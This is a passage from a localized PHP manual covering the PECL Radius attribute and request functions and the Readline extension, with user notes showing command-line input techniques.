printf("Got tagged attribute with tag %d and value %s\n", $tag, $value);
}
?>

参见

  • radius_get_attr() - Extracts an attribute
  • radius_get_tagged_attr_tag() - Extracts the tag from a tagged attribute

User Contributed Notes

There are no user contributed notes for this page.


Extracts the tag from a tagged attribute

  • ? radius_get_tagged_attr_data
  • radius_get_vendor_attr ?
  • PHP Manual
  • Radius 函数
  • Extracts the tag from a tagged attribute

radius_get_tagged_attr_tag

(PECL radius >= 1.3.0)

radius_get_tagged_attr_tag — Extracts the tag from a tagged attribute

说明

radius_get_tagged_attr_tag(string $data): int|false

If a tagged attribute has been returned from radius_get_attr(), radius_get_tagged_attr_data() will return the tag from the attribute.

参数

data

The tagged attribute to be decoded.

返回值

Returns the tag from the tagged attribute 或者在失败时返回 false.

示例

Example #1 radius_get_tagged_attr_tag() example

<?php
while ($resa = radius_get_attr($res)) {
if (!is_array($resa)) {
printf ("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];

$tag = radius_get_tagged_attr_tag($data);
$value = radius_get_tagged_attr_data($data);

printf("Got tagged attribute with tag %d and value %s\n", $tag, $value);
}
?>

参见

  • radius_get_attr() - Extracts an attribute
  • radius_get_tagged_attr_data() - Extracts the data from a tagged attribute

User Contributed Notes

There are no user contributed notes for this page.


Extracts a vendor specific attribute

  • ? radius_get_tagged_attr_tag
  • radius_put_addr ?
  • PHP Manual
  • Radius 函数
  • Extracts a vendor specific attribute

radius_get_vendor_attr

(PECL radius >= 1.1.0)

radius_get_vendor_attr — Extracts a vendor specific attribute

说明

radius_get_vendor_attr(string $data): array

If radius_get_attr() returns RADIUS_VENDOR_SPECIFIC, radius_get_vendor_attr() may be called to determine the vendor.

参数

data

Input data

返回值

Returns an associative array containing the attribute-type, vendor and the data, or false on error.

示例

Example #1 radius_get_vendor_attr() example

<?php
while ($resa = radius_get_attr($res)) {

if (!is_array($resa)) {
printf ("Error getting attribute: %s\n", radius_strerror($res));
exit;
}

$attr = $resa['attr'];
$data = $resa['data'];
printf("Got Attr:%d %d Bytes %s\n", $attr, strlen($data), bin2hex($data));
if ($attr == RADIUS_VENDOR_SPECIFIC) {

$resv = radius_get_vendor_attr($data);
if (is_array($resv)) {
$vendor = $resv['vendor'];
$attrv = $resv['attr'];
$datav = $resv['data'];
printf("Got Vendor Attr:%d %d Bytes %s\n", $attrv, strlen($datav), bin2hex($datav));
}

}
}
?>

参见

  • radius_get_attr() - Extracts an attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches an IP address attribute

  • ? radius_get_vendor_attr
  • radius_put_attr ?
  • PHP Manual
  • Radius 函数
  • Attaches an IP address attribute

radius_put_addr

(PECL radius >= 1.1.0)

radius_put_addr — Attaches an IP address attribute

说明

radius_put_addr(
resource $radius_handle,
int $type,
string $addr,
int $options = 0,
int $tag = ?
): bool

Attaches an IP address attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

type

The attribute type.

addr

An IPv4 address in string form, such as 10.0.0.1.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

User Contributed Notes

Do-not-spam at me dot nospam dot com 20-Sep-2018 12:43
radius_put_addr() doesn't support IPv6 yet

A workaround is to use radius_put_string when using IPv6


Attaches a binary attribute

  • ? radius_put_addr
  • radius_put_int ?
  • PHP Manual
  • Radius 函数
  • Attaches a binary attribute

radius_put_attr

(PECL radius >= 1.1.0)

radius_put_attr — Attaches a binary attribute

说明

radius_put_attr(
resource $radius_handle,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Attaches a binary attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

type

The attribute type.

value

The attribute value, which will be treated as a raw binary string.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

示例

Example #1 radius_put_attr() example

<?php
mt_srand(time());
$chall = mt_rand();
$chapval = md5(pack('Ca*',1 , 'sepp' . $chall));
$pass = pack('CH*', 1, $chapval);
if (!radius_put_attr($res, RADIUS_CHAP_PASSWORD, $pass)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br />";
exit;
}
?>

参见

  • radius_get_attr() - Extracts an attribute
  • radius_get_vendor_attr() - Extracts a vendor specific attribute
  • radius_put_vendor_attr() - Attaches a vendor specific binary attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches an integer attribute

  • ? radius_put_attr
  • radius_put_string ?
  • PHP Manual
  • Radius 函数
  • Attaches an integer attribute

radius_put_int

(PECL radius >= 1.1.0)

radius_put_int — Attaches an integer attribute

说明

radius_put_int(
resource $radius_handle,
int $type,
int $value,
int $options = 0,
int $tag = ?
): bool

Attaches an integer attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

type

The attribute type.

value

The attribute value.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

示例

Example #1 radius_put_int() example

<?php
if (!radius_put_int($res, RAD_FRAMED_PROTOCOL, RAD_PPP)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br />";
exit;
}
?>

参见

  • radius_put_string() - Attaches a string attribute
  • radius_put_vendor_int() - Attaches a vendor specific integer attribute
  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a string attribute

  • ? radius_put_int
  • radius_put_vendor_addr ?
  • PHP Manual
  • Radius 函数
  • Attaches a string attribute

radius_put_string

(PECL radius >= 1.1.0)

radius_put_string — Attaches a string attribute

说明

radius_put_string(
resource $radius_handle,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Attaches a string attribute to the current RADIUS request. In general, radius_put_attr() is a more useful function for attaching string attributes, as it is binary safe.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

type

The attribute type.

value

The attribute value. This value is expected by the underlying library to be null terminated, therefore this parameter is not binary safe.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

示例

Example #1 radius_put_string() example

<?php
if (!radius_put_string($res, RADIUS_USER_NAME, 'billy')) {
echo 'RadiusError:' . radius_strerror($res). "\n<br />";
exit;
}
?>

参见

  • radius_put_int() - Attaches an integer attribute
  • radius_put_vendor_int() - Attaches a vendor specific integer attribute
  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific IP address attribute

  • ? radius_put_string
  • radius_put_vendor_attr ?
  • PHP Manual
  • Radius 函数
  • Attaches a vendor specific IP address attribute

radius_put_vendor_addr

(PECL radius >= 1.1.0)

radius_put_vendor_addr — Attaches a vendor specific IP address attribute

说明

radius_put_vendor_addr(
resource $radius_handle,
int $vendor,
int $type,
string $addr
): bool

Attaches an IP address vendor specific attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

addr

An IPv4 address in string form, such as 10.0.0.1.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific binary attribute

  • ? radius_put_vendor_addr
  • radius_put_vendor_int ?
  • PHP Manual
  • Radius 函数
  • Attaches a vendor specific binary attribute

radius_put_vendor_attr

(PECL radius >= 1.1.0)

radius_put_vendor_attr — Attaches a vendor specific binary attribute

说明

radius_put_vendor_attr(
resource $radius_handle,
int $vendor,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Attaches a vendor specific binary attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

value

The attribute value, which will be treated as a raw binary string.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

示例

Example #1 radius_put_vendor_attr() example

<?php
if (!radius_put_vendor_attr($res, RADIUS_VENDOR_MICROSOFT, RAD_MICROSOFT_MS_CHAP_CHALLENGE, $challenge)) {
echo 'RadiusError:' . radius_strerror($res). "\n<br />";
exit;
}
?>

参见

  • radius_get_vendor_attr() - Extracts a vendor specific attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific integer attribute

  • ? radius_put_vendor_attr
  • radius_put_vendor_string ?
  • PHP Manual
  • Radius 函数
  • Attaches a vendor specific integer attribute

radius_put_vendor_int

(PECL radius >= 1.1.0)

radius_put_vendor_int — Attaches a vendor specific integer attribute

说明

radius_put_vendor_int(
resource $radius_handle,
int $vendor,
int $type,
int $value,
int $options = 0,
int $tag = ?
): bool

Attaches a vendor specific integer attribute to the current RADIUS request.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

value

The attribute value.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

参见

  • radius_put_vendor_string() - Attaches a vendor specific string attribute

User Contributed Notes

There are no user contributed notes for this page.


Attaches a vendor specific string attribute

  • ? radius_put_vendor_int
  • radius_request_authenticator ?
  • PHP Manual
  • Radius 函数
  • Attaches a vendor specific string attribute

radius_put_vendor_string

(PECL radius >= 1.1.0)

radius_put_vendor_string — Attaches a vendor specific string attribute

说明

radius_put_vendor_string(
resource $radius_handle,
int $vendor,
int $type,
string $value,
int $options = 0,
int $tag = ?
): bool

Attaches a vendor specific string attribute to the current RADIUS request. In general, radius_put_vendor_attr() is a more useful function for attaching string attributes, as it is binary safe.

Note:

A request must be created via radius_create_request() before this function can be called.

参数

radius_handle

The RADIUS resource.

vendor

The vendor ID.

type

The attribute type.

value

The attribute value. This value is expected by the underlying library to be null terminated, therefore this parameter is not binary safe.

options

A bitmask of the attribute options. The available options include RADIUS_OPTION_TAGGED and RADIUS_OPTION_SALT.

tag

The attribute tag. This parameter is ignored unless the RADIUS_OPTION_TAGGED option is set.

返回值

成功时返回 true， 或者在失败时返回 false。

更新日志

版本 | 说明
PECL radius 1.3.0 | The options and tag parameters were added.

参见

  • radius_put_vendor_int() - Attaches a vendor specific integer attribute

User Contributed Notes

Horol 17-Oct-2019 08:42
When vendor specific string is not included, you can define it and use in your code:
<?php
define('RADIUS_VENDOR_CISCO', 9);
define('RADIUS_PROXY_STATE', 33);
radius_put_vendor_string($res, RADIUS_VENDOR_CISCO, RADIUS_PROXY_STATE, "h323-gw-id=123456");
?>

List of RADIUS Attribute Types:
https://www.iana.org/assignments/radius-types/radius-types.xhtml#radius-types-2

List of Vendor ID's:
https://www.iana.org/assignments/enterprise-numbers/enterprise-numbers
sebastian at sebsoft dot nl 30-Oct-2008 08:04
In the PECL sources, a certain vendor specific string is included for Microsoft systems.
However, if you just want to pass something entirely different, like Cisco specifics, that's possible.
The fact that this isn't included in the sources of the PECL doesn't mean you can't use them.

Better said, everything there is in the dictionary of your Radius server can be put in as string.

Like the following example to write a h323-gw-id:
<?php
$res = radius_acct_open ();
radius_add_server($res,'127.0.0.1', 1813, 'mysecret', 10, 2);
radius_create_request($res, RADIUS_ACCOUNTING_REQUEST);
radius_put_vendor_string($res,9,33 ,"h323-gw-id=123456");

$result = radius_send_request($res);
?>


Returns the request authenticator

  • ? radius_put_vendor_string
  • radius_salt_encrypt_attr ?
  • PHP Manual
  • Radius 函数
  • Returns the request authenticator

radius_request_authenticator

(PECL radius >= 1.1.0)

radius_request_authenticator — Returns the request authenticator

说明

radius_request_authenticator(resource $radius_handle): string

The request authenticator is needed for demangling mangled data like passwords and encryption-keys.

参数

radius_handle

The RADIUS resource.

返回值

Returns the request authenticator as string, or false on error.

参见

  • radius_demangle() - Demangles data

User Contributed Notes

There are no user contributed notes for this page.


Salt-encrypts a value

  • ? radius_request_authenticator
  • radius_send_request ?
  • PHP Manual
  • Radius 函数
  • Salt-encrypts a value

radius_salt_encrypt_attr

(PECL radius >= 1.3.0)

radius_salt_encrypt_attr — Salt-encrypts a value

说明

radius_salt_encrypt_attr(resource $radius_handle, string $data): string|false

Applies the RADIUS salt-encryption algorithm to the given value.

In general, this is achieved automatically by providing the RADIUS_OPTION_SALT option to an attribute setter function, but this function can be used if low-level request construction is required.

参数

data

The data to be salt-encrypted.

返回值

Returns the salt-encrypted data 或者在失败时返回 false.

参见

  • radius_put_addr() - Attaches an IP address attribute
  • radius_put_attr() - Attaches a binary attribute
  • radius_put_int() - Attaches an integer attribute
  • radius_put_string() - Attaches a string attribute

User Contributed Notes

There are no user contributed notes for this page.


Sends the request and waits for a reply

  • ? radius_salt_encrypt_attr
  • radius_server_secret ?
  • PHP Manual
  • Radius 函数
  • Sends the request and waits for a reply

radius_send_request

(PECL radius >= 1.1.0)

radius_send_request — Sends the request and waits for a reply

说明

radius_send_request(resource $radius_handle): int

After the Radius request has been constructed, it is sent by radius_send_request().

The radius_send_request() function sends the request and waits for a valid reply, retrying the defined servers in round-robin fashion as necessary.

参数

radius_handle

The RADIUS resource.

返回值

If a valid response is received, radius_send_request() returns the Radius code which specifies the type of the response. This will typically be RADIUS_ACCESS_ACCEPT, RADIUS_ACCESS_REJECT, or RADIUS_ACCESS_CHALLENGE. If no valid response is received, radius_send_request() returns false.

参见

  • radius_create_request() - Create accounting or authentication request

User Contributed Notes

johnny at gmail dot com 07-Apr-2017 02:15
The documentation does not state that the return value could also be other constants like RADIUS_DISCONNECT_ACK and more.


Returns the shared secret

  • ? radius_send_request
  • radius_strerror ?
  • PHP Manual
  • Radius 函数
  • Returns the shared secret

radius_server_secret

(PECL radius >= 1.1.0)

radius_server_secret — Returns the shared secret

说明

radius_server_secret(resource $radius_handle): string

The shared secret is needed as salt for demangling mangled data like passwords and encryption-keys.

参数

radius_handle

The RADIUS resource.

返回值

Returns the server's shared secret as string, or false on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns an error message

  • ? radius_server_secret
  • 针对命令行的扩展 ?
  • PHP Manual
  • Radius 函数
  • Returns an error message

radius_strerror

(PECL radius >= 1.1.0)

radius_strerror — Returns an error message

说明

radius_strerror(resource $radius_handle): string

If Radius-functions fail then they record an error message. This error message can be retrieved with this function.

参数

radius_handle

The RADIUS resource.

返回值

Returns error messages as string from failed radius functions.

User Contributed Notes

There are no user contributed notes for this page.


针对命令行的扩展

  • Readline — GNU Readline
    • 简介
    • 安装/配置
    • 预定义常量
    • Readline 函数

User Contributed Notes

alvaro at demogracia dot com 11-May-2011 05:13
None of these extensions (Newt, Ncurses or Readline) work natively on Windows platforms. Ncurses is available for Cygwin, the other two do not mention it explicitly.


GNU Readline

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Readline 函数
    • readline_add_history — 添加一行到历史
    • readline_callback_handler_install — 初始化 readline 回调接口和终端，然后打印提示并立即返回
    • readline_callback_handler_remove — 移除之前已安装的回调函数句柄并且恢复终端设置
    • readline_callback_read_char — 当一个行被接收时读取一个字符并且通知 readline 回调接口
    • readline_clear_history — 清除历史
    • readline_completion_function — 注册完成函数
    • readline_info — 获取/设置各种 readline 内部变量
    • readline_list_history — 获取历史
    • readline_on_new_line — 通知 readline 将光标移动到新行
    • readline_read_history — 读取历史
    • readline_redisplay — 重绘显示区
    • readline_write_history — 写入历史记录
    • readline — 读取一行

User Contributed Notes

list2011 at lunch dot za dot net 02-Feb-2012 10:11
When readline is enabled, php switches the terminal mode to accept line-buffered input.  This means that the proper way to use the cli when you pipe to an interactive command is to explicitly specify that php is not using the terminal for input:

php somescript.php < /dev/null | less


简介

readline 扩展函数实现了访问 GNU Readline 库的接口。这些函数提供了可编辑的命令行。一个例子是在 Bash 中允许使用箭头按键来插入字符或者翻看历史命令。因为这个库的交互特性，对编写 Web 应用程序没多大用处，但当编写从命令行使用的脚本时非常有用.

从 PHP 7.1.0 开始，该扩展支持 Windows。

Caution

readline 扩展并非线程安全！因此，强烈建议不要在任何真正线程安全的 SAPI（例如 Apache 的 mod_winnt）中使用这个扩展！

User Contributed Notes

There are no user contributed notes for this page.


需求

如果要使用 readline 函数，必须安装 libreadline。可以在 GNU readline 项目主页找到 libreadline，在 » http://cnswww.cns.cwru.edu/~chet/readline/rltop.html。由 Chet Ramey 维护，他也是 Bash 的作者。

也能使用非 GPL 的 libedit 库来替代 readline 库，libedit 库是使用 BSD 证书，可以从 » http://www.thrysoee.dk/editline/ 下载。

User Contributed Notes

There are no user contributed notes for this page.


安装

要使用这些函数，必须编译支持 readline 的 PHP 的 CGI 或者 CLI 版本。需要配置 PHP --with-readline[=DIR]。如果想使用 libedit 代替 readline，配置 PHP --with-libedit[=DIR]。

在 Windows 上，此扩展自 PHP 7.1.0 起默认可用。

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Readline 配置选项
名字 | 默认 | 可修改范围 | 更新日志
cli.pager | "" | PHP_INI_ALL |
cli.prompt | "\\b \\> " | PHP_INI_ALL |

这是配置指令的简短说明。

cli.pager string

命令行显示输出的外部工具。

cli.prompt string

命令行提示。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

READLINE_LIB (string)
The library which is used for readline support; currently either readline or libedit.

User Contributed Notes

There are no user contributed notes for this page.


Readline 函数

Table of Contents

  • readline_add_history — 添加一行到历史
  • readline_callback_handler_install — 初始化 readline 回调接口和终端，然后打印提示并立即返回
  • readline_callback_handler_remove — 移除之前已安装的回调函数句柄并且恢复终端设置
  • readline_callback_read_char — 当一个行被接收时读取一个字符并且通知 readline 回调接口
  • readline_clear_history — 清除历史
  • readline_completion_function — 注册完成函数
  • readline_info — 获取/设置各种 readline 内部变量
  • readline_list_history — 获取历史
  • readline_on_new_line — 通知 readline 将光标移动到新行
  • readline_read_history — 读取历史
  • readline_redisplay — 重绘显示区
  • readline_write_history — 写入历史记录
  • readline — 读取一行

User Contributed Notes

jcastromail at yahoo dot es 18-Feb-2022 06:57
Windows.
To the current date,  PHP 8.1 64bits under Windows does not support all the functions:

supported:
readline_add_history
readline_clear_history
readline_completion_function
readline_info
readline_list_history
readline_read_history
readline_write_history
readline

no supported: (the function is not even defined)

readline_callback_handler_install
readline_callback_handler_remove
readline_callback_read_char
readline_on_new_line
readline_redisplay

if you want to read a key in windows (without blocking), you can use the next code:

$out='';
$ret='';
$keys='1234567890abcdefghijklmnopqrstuvwxyz'."á";
$default="á";
while(true) {
    exec("choice /N /C $keys /D $default /T 1",$out,$ret);
    if($out[0]!=="á") {
        var_dump($out[0]);
    }
    $out=[];
}

It is not elegant and it calls choice every 1 second but it does the job (at least with some keys).
david at acz dot org 28-Feb-2007 09:07
Readline only reads the window size on startup or on SIGWINCH.  This means if the window is resized when not in a readline() call, the next call will have odd behavior due to confusion about the window size.

The work-around is to force Readline to re-read the window size by sending it SIGWINCH.  This is accomplished using the async interface, which installs the signal handler but returns control to PHP.

The following function is a drop-in replacement for readline(), but re-reads the window size every time:

<?
    function xreadline($prompt)
    {
        global $xreadline, $xreadline_line;
        $code = '$GLOBALS["xreadline"] = false;' .
                '$GLOBALS["xreadline_line"] = $line;' .
                'readline_callback_handler_remove();';
        $cb = create_function('$line', $code);
        readline_callback_handler_install($prompt, $cb);
        $signal = defined("SIGWINCH") ? SIGWINCH : 28;
        posix_kill(posix_getpid(), $signal);
        $xreadline = true;
        while ($xreadline)
            readline_callback_read_char();
        return is_null($xreadline_line) ? false : $xreadline_line;
    }
?>
flobee 28-Apr-2006 10:29
re to: ds at NOSPAM dot undesigned dot org dot za

cool program! note when trying to exec() something:
in the while loop you need to reset exec() returns or you will get all results of all executions (on my my windows and or cygwin :-(
like:
<?php
// your class prompt()

echo "Enter something or 'exit' to quit\n";
do {
    $cmdline = new prompt();
    $buffer = $cmdline->get('shell command: ');
// init/ reset first!
    $data = null;
    $return = null;
// now start:
    echo "You said: $buffer\n";
    if (!empty($buffer)) {
        $x = exec($buffer, $data, $return);
        print_r($data);
    }
} while ($buffer !== "exit");
echo "Goodbye\n";
jeffrey at thompsonic dot com 22-Feb-2005 06:18
Here's an easy way without readline() if you don't have it compiled in already:

   $fp = fopen("php://stdin","r");
   $line = rtrim(fgets($fp, 1024);
jcl atNOSPAM jcl dot name 23-Nov-2004 09:40
Even better than 'plz at dont dot spam' in only one line :) :

@c:\\php\\cli\\php.exe script.php %*

Cheers,
Jean-Charles
plz at dont dot spam 08-Aug-2004 01:50
To get all arguments passed to a batch file in one variable
rather than using %1 %2 %3 etc;

:LOOP
if "%1" == "" goto DONE
set args=%args% %1
shift
goto LOOP
:DONE
@c:\\php\\cli\\php.exe script.php %args%
set args=
ds at NOSPAM dot undesigned dot org dot za 04-Dec-2003 08:04
You can open /dev/tty on unix systems or \con in windows, with ob_implicit_flush(true) to write output unbuffered.  Works like a charm :-)

-------------------------------

#!/usr/local/bin/php -q
<?php

set_time_limit(0);
@ob_end_flush();
ob_implicit_flush(true);

class prompt {
  var $tty;

  function prompt() {
    if (substr(PHP_OS, 0, 3) == "WIN") {
      $this->tty = fOpen("\con", "rb");
    } else {
      if (!($this->tty = fOpen("/dev/tty", "r"))) {
        $this->tty = fOpen("php://stdin", "r");
      }
    }
  }

  function get($string, $length = 1024) {
    echo $string;
    $result = trim(fGets($this->tty, $length));
    echo "\n";
    return $result;
  }
}

echo "Enter something or 'exit' to quit\n";
do {
  $cmdline = new prompt();
  $buffer = $cmdline->get("Something: ");
  echo "You said: $buffer\n";
} while ($buffer !== "exit");
echo "Goodbye\n";

?>
jewfish at jewfish dot net 10-Jun-2002 04:05
There is a simpler way to do a multiline read than above:

function multiline() {
    while(($in = readline("")) != ".")
        $story .= ($PHP_OS == "WINNT") ? "\r\n".$in :
                                         "\n".$in;

    return $story;
}
joshua at neocodesoftware.com 21-Apr-2002 03:17
Here's an example simple readline-like way to input from command line on windows - the single line is from http://www.phpbuilder.com/columns/darrell20000319.php3, the multiline is something I added...

<?
function read () {
    # 4092 max on win32 fopen

    $fp=fopen("php://stdin", "r");
    $in=fgets($fp,4094);
    fclose($fp);

    # strip newline
    (PHP_OS == "WINNT") ? ($read = str_replace("\r\n", "", $in)) : ($read = str_replace("\n", "", $in));

    return $read;
}

function multilineread () {
    do {
        $in = read();

        # test exit
        if ($in == ".") return $read;

        # concat input
        (PHP_OS == "WINNT") ? ($read = $read . ($read ? "\r\n" : "") . $in) : ($read = $read . "\n" . $in);

    } while ($inp != ".");

    return $read;
}

print("End input with . on line by itself.\n");

print("What is your first name?\n");
$first_name = multilineread();

print("What is your last name?\n");
$last_name = read();

print("\nHello, $first_name $last_name! Nice to meet you! \n");
?>
14-Apr-2002 07:17
[Ed. note: you can use fopen("php://stdin", "w") to achieve the same thing, works on both Windows and Unix)]

I wanted to get console input in a PHP script running on windows, so I made a little hack, which is so simple, it is clearly public domain.  What I did was write a C++ program to get a line, then output it.  Then all that is needed is to exec() that program and capture the output - readline() for windows.  The C++ source is as follows:

#include <iostream.h>
#include <string>
void main()
{
    string input;
    cin >> input;
    cout << input;
}

It works wonderfully for my purposes, since I love the PHP language and want to have console input.

Justin Henck


添加一行到历史

  • ? Readline 函数
  • readline_callback_handler_install ?
  • PHP Manual
  • Readline 函数
  • 添加一行到历史

readline_add_history

(PHP 4, PHP 5, PHP 7, PHP 8)

readline_add_history — 添加一行到历史

说明

readline_add_history(string $prompt): bool

此函数添加一行到命令行历史。

参数

prompt

添加到历史中的行。

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

Anonymous 26-Jan-2011 03:53
Note that readline_add_history() will add empty strings too.

<?php
$line = readline(">>> ");
if (!empty($line)) {
  readline_add_history($line);
}
?>


初始化 readline 回调接口和终端，然后打印提示并立即返回

  • ? readline_add_history
  • readline_callback_handler_remove ?
  • PHP Manual
  • Readline 函数
  • 初始化 readline 回调接口和终端，然后打印提示并立即返回

readline_callback_handler_install

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_handler_install — 初始化 readline 回调接口和终端，然后打印提示并立即返回

说明

readline_callback_handler_install(string $prompt, callable $callback): bool

设置 readline 回调接口然后打印 prompt 并立即返回。在不移除旧的回调接口的情况下再次调用此函数，将自动覆盖旧接口。

与 stream_select() 结合使用时，回调功能很有用，因为允许 IO 和用户输入交互，这与 readline() 不同。

参数

prompt

提示信息。

callback

callback 函数接受一个参数；返回用户输入。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 Readline 回调接口示例

<?php
function rl_callback($ret)
{
global $c, $prompting;

echo "You entered: $ret\n";
$c++;

if ($c > 10) {
$prompting = false;
readline_callback_handler_remove();
} else {
readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');
}
}

$c = 1;
$prompting = true;

readline_callback_handler_install("[$c] Enter something: ", 'rl_callback');

while ($prompting) {
$w = NULL;
$e = NULL;
$n = stream_select($r = array(STDIN), $w, $e, null);
if ($n && in_array(STDIN, $r)) {
// read a character, will call the callback when a newline is entered
readline_callback_read_char();
}
}

echo "Prompting disabled. All done.\n";
?>

参见

  • readline_callback_handler_remove() - 移除之前已安装的回调函数句柄并且恢复终端设置
  • readline_callback_read_char() - 当一个行被接收时读取一个字符并且通知 readline 回调接口
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds

User Contributed Notes

thflori 23-Aug-2018 07:01
To read byte wise and multi line you can check the line_buffer from readline_info:

<?php

function read(int $count, string $prompt = null): string
{
    $previous = '';
    readline_callback_handler_install($prompt ?? " \e[D", function ($str) use (&$previous) {
        $previous .= $str . PHP_EOL;
    });
    do {
        $r = array(STDIN);
        $n = stream_select($r, $w, $e, null);
        if ($n && in_array(STDIN, $r)) {
            readline_callback_read_char();
            $str = $previous . readline_info('line_buffer');
        }
    } while (mb_strlen($str) < $count); // use strlen if you need the exact byte count
    readline_callback_handler_remove();

    return $str;
}


移除之前已安装的回调函数句柄并且恢复终端设置

  • ? readline_callback_handler_install
  • readline_callback_read_char ?
  • PHP Manual
  • Readline 函数
  • 移除之前已安装的回调函数句柄并且恢复终端设置

readline_callback_handler_remove

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_handler_remove — 移除之前已安装的回调函数句柄并且恢复终端设置

说明

readline_callback_handler_remove(): bool

移除之前已安装的回调句柄并且恢复终端设置。

参数

此函数没有参数。

返回值

如果移除了之前已安装的回调句柄，返回 true 或者如果没有找到的话返回 false。

示例

有关如何使用 readline 回调接口的示例，参见 readline_callback_handler_install()。

参见

  • readline_callback_handler_install() - 初始化 readline 回调接口和终端，然后打印提示并立即返回
  • readline_callback_read_char() - 当一个行被接收时读取一个字符并且通知 readline 回调接口

User Contributed Notes

There are no user contributed notes for this page.


当一个行被接收时读取一个字符并且通知 readline 回调接口

  • ? readline_callback_handler_remove
  • readline_clear_history ?
  • PHP Manual
  • Readline 函数
  • 当一个行被接收时读取一个字符并且通知 readline 回调接口

readline_callback_read_char

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

readline_callback_read_char — 当一个行被接收时读取一个字符并且通知 readline 回调接口

说明

readline_callback_read_char(): void

读取用户输入中的一个字符。当一行被接收时，这个函数将通知使用 readline_callback_handler_install() 安装的 readline 回调接口，并且 这一个行已经准备输入。

参数

此函数没有参数。

返回值

没有返回值。

示例

有关如何使用 readline 回调接口的示例，参见 readline_callback_handler_install()。

参见

  • readline_callback_handler_install() - 初始化 readline 回调接口和终端，然后打印提示并立即返回
  • readline_callback_handler_remove() - 移除之前已安装的回调函数句柄并且恢复终端设置

User Contributed Notes

thflori 23-Aug-2018 06:30
It seems this function is not blocking anymore:

<?php

do {
  readline_callback_read_char();
  $str = readline_info('line_buffer');
  echo '.';
} while (strlen($str) < 10);

echo PHP_EOL . $str . PHP_EOL;

?>
Quis-NOZPAM- at omicidio-NOZPAM- dot nl 02-Aug-2006 04:43
Note that this function is blocking if there is no character to read
If you don`t want to get blocked, you should use the trick with stream_select()

It also only reads one char per call,
So if something else in your script is blocking,
you`ve got a problem


清除历史

  • ? readline_callback_read_char
  • readline_completion_function ?
